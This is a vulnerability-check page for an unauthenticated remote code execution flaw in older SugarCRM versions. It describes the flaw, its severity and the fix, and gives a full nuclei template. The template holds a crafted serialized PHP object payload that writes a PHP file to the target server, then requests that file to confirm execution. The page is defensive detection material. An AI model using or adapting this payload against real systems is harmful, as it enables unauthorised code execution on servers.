SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection

criticalseverity

9.3CVSS score

5%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.

Impact

Unauthenticated attackers can execute arbitrary code within the application context, potentially leading to full system compromise.

Fix

Update to versions 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, 7.7.1.0 or later.

How to confirm it

Send: POST /service/v4/rest.php
Positive when: len(body)==0 and status_code == 200
Send: GET /{{filepath}}
Positive when: contains(body, md5(num)) and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-25034 -u <target>

The full check

id: CVE-2025-25034

info:
  name: SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection
  author: Redmomn
  severity: critical
  description: |
    A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.
  impact: |
    Unauthenticated attackers can execute arbitrary code within the application context, potentially leading to full system compromise.
  remediation: |
    Update to versions 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, 7.7.1.0 or later.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb
    - https://support.sugarcrm.com/resources/security/sugarcrm-sa-2016-001/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25034
    - https://karmainsecurity.com/KIS-2016-07
    - https://vulncheck.com/advisories/sugarcrm-php-deserialization-rce
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2025-25034
    cwe-id: CWE-502
    epss-score: 0.04963
    epss-percentile: 0.92257
  metadata:
    verified: true
    fofa-query: app="sugarcrm"
    max-request: 2
  tags: cve,cve2025,sugarcrm,rce,php,deserialization,unauth,vkev,vuln

flow: http(1) && http(2)

variables:
  num: '99999999'
  filepath: 'custom/{{rand_text_alpha(8)}}.php'

http:
  - raw:
      - |
        POST /service/v4/rest.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        method=login&input_type=Serialize&rest_data=O:14:"SugarCacheFile":23:{S:17:"\00*\00_cacheFileName";s:22:"../{{filepath}}";S:16:"\00*\00_cacheChanged";b:1;S:14:"\00*\00_localStore";a:1:{i:0;s:30:"<?php echo md5('{{num}}'); ?>";}}

    matchers:
      - type: dsl
        dsl:
          - 'len(body)==0'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filepath}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, md5(num))'
          - 'status_code == 200'
        condition: and

References

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